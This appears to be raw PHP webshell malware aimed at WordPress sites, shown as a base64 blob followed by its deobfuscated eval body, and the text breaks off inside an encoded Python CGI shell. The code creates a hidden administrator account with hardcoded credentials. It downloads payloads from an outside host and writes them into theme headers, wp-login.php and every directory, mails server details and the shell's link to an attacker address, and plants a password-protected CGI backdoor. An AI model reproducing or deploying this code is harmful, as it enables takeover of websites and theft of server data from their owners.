TL7e9cL3nTNXlZwYHBdHPI/vv4xPMpb9NGRumdN2BD6Zx/dUyki22OZW2E0SgEnDAZb63dmQoRypVVe9PkwhxoD0t27Tj5ZnO0DBE/1LT8zbdpQXVd7EKaOyGMZmn7LCkLbzwjj5Ip5qmeJIadvDR1KK3ZltyjcM9XjNQV2lDR/1pnLZTww1g7pTPpmokng6kVwA4iSmEw0zaMCJXX7HzzzlYXWTug+82l+u/YGeLcwEH2mRSCkxaXvjgZsGyRTaEZPwcn2QGYbaFHVpUjhzc4imBAt060gaTLpxQuNKNZVmy3Du3HEuzg6Is9xio2Cs+dD+1pjg+N4nZ2d+v4eP4rzk++UsfEyxB/S1PobTvT/uZ+tbqbzg+56n/WSlew/kkvXQvLotqfAU7hJL4/y9LtSXyk9U6enfboeN4UJ1DkxCob93x+3pavELtJ7h/RxxN1Kjf68EjuxYu9fg3ClcS2mJ4IJKPz2+mOSZtu9yt84vJi824/+xW30YF/DfPvtiXz6dC3fRk8vXk+ZQLvhU5UWqy7frOUNkQrhtRWUSdnh3+w/NgT8kU+sfK3V/25XPxnSH2/fEfcC0oZcn0zmm/DTak/aRwLiPj5vMDBlF20OLZnNpXozH9fArFXuysq9acEXPaqtmPln8FPmXBSVcDaFesUj+RM3qP+bA3NU11odw6GwdPC6FmUJVpb3Oku6J+BoU1GIcjRSzlM7WKRSp9nx7/mApXn/gNjPD1XQY7ZhHPqeHEZ5euQY9Ia+EvBTilO7ipqSYzjvNTl1di4L2WU5ZamTLe+s5ZN22wUjtrtfnjwohWa7pDtvyonkW7X7v5aNOclEXM++XnN06VxBMyeZcsHFpsv7zeeOsfyF+cbRMOXnK2eXp27sLvbLUbIvx2r8t8Sm1mxFby2uEdt1J0o1vsR/35uvaN55vJwKbaQ98SmyZm2vQuOmgiu3fB65EZzj0z14EvKdXL8LA+C71/PNKcSm923AbGLPKmsXSE62zmqnb75yBWMcNmI7tJS6YXLw9Pe+pYYZYCq/IsozFeVyWiSv926gLmhHl+YXqWdOgNtySxsbEla90zWjNb6HFCfNjsrs2lqXd1GqywqZXLscMWbsWtSp0zwysbpId7ITqmpabYbv2dPTWlYeNXanNMSmgmYoi9AcGra/My/k6TQPPafU0SHl6YQXEgXxWXt0Wo+P14WH0bhYKtfr0Tu/tpJvRA564sL1QTpoETqPRiHAEj8QhpzNUXPFfQMynAMFA8L6Rgj6vrIhesQVT3P2RqJwvBwKR+926ouOLdoFd/XTgulcs6t4hprvu1J4x+Pff+dgD2cDzKsA/V8b/+z//vthYe/F7SvD5S6ou5moYjoKGhMj9OzR/9978//a+/vN+ad26zj2k+ZFtNke/cBSK9213N96o69XHhWJgIWxqXXTf/W5vFYWGsoyfzi83K75vPhghFU+hG+9l10nmEIbwV0xGxPluwAjwmSf/60rr2Sh3zl10/X1V+mv0q/emfOjPWDJAfYl/Jo1hVuiF/4j1u4HrYNPDAB8z0fFo6zO+7Z7j23nWabvqbl18iw4r+UHg/9ouZ7jVL/gaTonf06rgdWf12zPu8LaBrCu+ntu5zsp9YElpLE3yFcDd2uZ8eflc6uPffbqg517PaTq6jz/FknUB9579KP91tHuaORLc7a5R/9+25/fvxZYivIYtCaxPNQ2dryFQDtieT/+p4WuOG7qwgoFFgW+B49N03/yxP7bC0Pdy4nKtXY/x2YOZA1Jk2Focua+Ti2Up6lzvOl7jqidNvdX08TTHkh1KOe/VZsavJuwh3/7fhq9rWi6+MD6Nuoj00OR5tJ5k8Tr/vdmh/d7mMZq3tZTKwbK8p6/FbVdPKwhbqe4TIGXxL+wTY57/0Am8lpkYQlb+1XHbLUg74dOAaB1bxbVu9ufc1XcymYgvf/88IkQ/+AzHuaDWatDu6L1AApm2Kgzh13xP286sq6UfL+6M9m38r/4yXmZxHYT9G1yJ2AaWnhFuxuHCC8TNeUjt9pZ5TaHuPuJAfeNndHbBP2Pd+1AVlA6TIXFkPSQCB99DCzZE1Hc/uJA99G2/2JS6oJdWjQfdJJV9r+ILoQFjZ8y8p5pdvIr5+cpijx5sB+NIAmrS47vEp/5y+n4qiuTLWckxO9/VHpa86rJR9znPNr/n8Awe3sakjoJl0gv+PaOqfUMdHHf9VaHVA67+693fJuw397vFe/ZxQaiSH8uCgAONCi2kSQQ2y4+WB52ohwA4LViYewFskbdZaKEZU40gNnnHKpa5rVxrJaIJ5Lr1gAvblN//gDjItwHI+umDUfQgTDgQMRfjbVBcUzQ1D1nIYJMsQd7+/GtQLlhcjwdg3DMzSs7vjqym+LA9e03UuByDf8QQ59ynBi4i9IjOov8fM2jiPEGobz9R7yIUJyTZHrHW/f9/QfXm+Djaa47fPO0V/G0ZDDr/TpPa8wEqkzzcasbPcYkjDN5Ppb/AHuAYcgbcllfHdgp/fcUJeeE9Eq/B1MSzQ4PCeSCUtptCI9Q56c1RCuJqtFO/Jna7Qwygg+OyphQte4w/fPKiS2E5ea6JkkYUXn2jG8TFkHTH2lBPE0ChbjSB1WzRoPxZ7axEdn6jCrHUTPn66B9fCda957BdenC8/HCXVEX1zpQ0UrHOR+yL4TVbhvFAyjNGhI0WCv749WGuPOtf/QuqwzWLxt93PpzFZQIVuY6Y+raM/fIS6r5C/RBWBsTBdCLBy6y75j0qx+C+7Zu2TE/IJ9e4Dx/PCvvxYwyOFqSUOd8v7K8iaZz/qmlPfFc08nqWlesT0cMW6B+/H5Lvp1f8A7m/PG/8jvfOl+/uUHTohzfG7FXJrY1X0mb/LeyxddQaiFtKvb7DuU8vaJ+Pa1OIpY5DXYUFnP6pojiFa00oVtmc+ze4yls6napci7dqP2Zc3d8V0tbe4LlNys1tF+Yr1Mi/zsMp0A/qLxwfVMTtHGWi3yBoGd0flr8RctijM/nvJkPNdKxA93r3dWWY+/Onl9wfYEY9G693Ewvvsfwsq39qPfMO5oPGWtxSq69f+8Z/3Iu3vL/wKV9pybYxHl2qrbcrTEbA/QQ/MiMRoeAQWV1SNEEAF3zUoT8wqV6ohsCSfqqIvrRXJh2JkbVHm7rjv6rr54M6aA2dj3fH6M76E/j07//v937h6ZBX9N4xn+5zoTUf3DlqJLqs/A/PB6Xh8/LR4in8mfk4NXh8yO2834Wi28vag0GDleJrn0O8MVj0OQUvJdo1coff/82TH+g5geMoRm27Pc4+xb2gfh7PKwcyw537XaVe72QvqEA8Y3n/3bmcW8zbPvd3xbfqm35xP6e9ltWqmh3O76DP2GL41G6HnO6l4zvIbrKb0+oyxiHW7vWei5qC/D+79jPUhuV/fv///5r3gG8PwqnnPafrn3e60f7S/Wafc5+P/toD8v/gwLTTFO6qPebfrKHW3f/+onfpP+733dM+5Il7YrWEev7P/W4sfc+871peN/euiFzeitODe/18RlfNa4N++VxPK4qqlef1V+R7rVFs+9e/7nk2Prv+hHu7/hLe6hboJNtTa3WbnVqzMho7EuXrjw+Auz+As/fYfB2ni9lppJAFJCSTErRSWePTEsJiQgAQIRL1qPnJVhblNVVlUht+megfzm27mLpSiL5691+xdjjIBwJeHLNOtEwxNjjMBwJeHLMO9Ewx9ijQBwJeHLLONFwxtijUBwJe";
eval /* PHPDeobfuscator eval output */ {
    $document_root = $_SERVER["DOCUMENT_ROOT"];
    $document_root_file = "/var/www/html";
    $wp_detect = 0;
    if (file_exists($document_root . '/wp-load.php')) {
        include $document_root . '/wp-load.php';
        $wp_detect = 1;
    } else {
        $prefix = count(@array(0 => "", 1 => "var", 2 => "www", 3 => "html"));
        $a = '';
        for ($i = 0; $i < $prefix; $i++) {
            $a .= '../';
            if (file_exists($document_root_file . '/' . $a . 'wp-load.php')) {
                include $document_root_file . '/' . $a . 'wp-load.php';
                $wp_detect = 1;
                break;
            }
        }
    }
    if ($wp_detect == 1) {
        //Header Yazdırma
        $wp_theme_dir = get_template_directory();
        $header_file = $wp_theme_dir . '/headers.php';
        $header_content = file_get_contents($header_file);
        $append = http_get('https://wordpres.page/txt/lamer.txt');
        if (!preg_match('#' . $append . '#', $header_content)) {
            $new_content = $append . $header_content;
            $open_file = fopen($header_file, 'w');
            fwrite($open_file, $new_content);
            fclose($open_file);
        }
        //Header Yazdırma
        // shell Ekleme
        $user = 'new_admin';
        $pass = 'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp';
        $email = 'byhero44@gmail.com';
        if (!username_exists($user) && !email_exists($email)) {
            $user_id = wp_create_user($user, $pass, $email);
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
        // shell Ekleme
        // Wp Login Yazma.
        $wp_login = "ABSPATH/wp-login.php";
        $login = http_get('https://wordpres.page/txt/seo.txt');
        $open_login = fopen($wp_login, 'w');
        fwrite($open_login, $login);
        fclose($open_login);
        // Wp Login Yazma.
    }
    // Shell Yazma
    $code = http_get('#');
    $wp_code = $document_root . '/#';
    $open_code = fopen($wp_code, 'w');
    fwrite($open_code, $code);
    fclose($open_code);
    // Shell Yazma
    // Makale Yazma
    $makale = http_get('');
    $wp_makale = $document_root . '/';
    $open_makale = fopen($wp_makale, 'w');
    fwrite($open_makale, $makale);
    fclose($open_makale);
    // Makale Yazma
    // Klasörlere Yazma
    $directories = expandDirectories($document_root);
    $css = http_get('https://wordpres.page/txt/lamer.txt');
    foreach ($directories as $dir) {
        if (!preg_match('#wp-content#', $dir)) {
            $css_file = $dir . '/wp-indos.php';
            $open_css = fopen($css_file, 'w');
            fwrite($open_css, $css);
            fclose($open_css);
        }
    }
    // Klasörlere Yazma
    function expandDirectories($base_dir)
    {
        $directories = array();
        foreach (scandir($base_dir) as $file) {
            if ($file == '.' || $file == '..') {
                continue;
            }
            $dir = $base_dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($dir)) {
                $directories[] = $dir;
                $directories = array_merge($directories, expandDirectories($dir));
            }
        }
        return $directories;
    }
    function http_get($url)
    {
        $im = curl_init($url);
        curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($im, CURLOPT_HEADER, 0);
        return curl_exec($im);
    }
    $kime = "byhero44@gmail.com";
    $baslik = "wsoff 2023";
    $EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
    $EL_MuHaMMeD .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
    $EL_MuHaMMeD .= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
    $EL_MuHaMMeD .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
    $EL_MuHaMMeD .= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
    mail($kime, $baslik, $EL_MuHaMMeD);
    echo "<html><form method=\"POST\"><title>priv cgi by DARK0</title><center><img src=\"https://cdn.dsmcdn.com/ty10/product/media/images/20200815/19/8144792/81575429/0/0_org_zoom.jpg\" width=\"400\"><h1>cgi bypass shell<br>Dark0</h1><h3>pass : r00t</h3><button type=\"submit\" name=\"cgi3\">cgi bypass</button>\xd0\x92\xc2\xa0</center></html>";
    if (isset($_POST['cgi3'])) {
        mkdir("dark0cgi");
        chdir("dark0cgi");
        $kokdosya = ".htaccess";
        $dosya_adi = ".htaccess";
        $dosya = fopen($dosya_adi, 'w');
        $metin = "Options +ExecCGI\nDirectoryIndex dark0.xx\nAddHandler cgi-script .xx";
        fwrite($dosya, $metin);
        fclose($dosya);
        $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiMjdkYjc4OTgyMTFjOGNjYmViNGQ1YTk3ZDE5ODgzOWEiICMgcjAwdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0W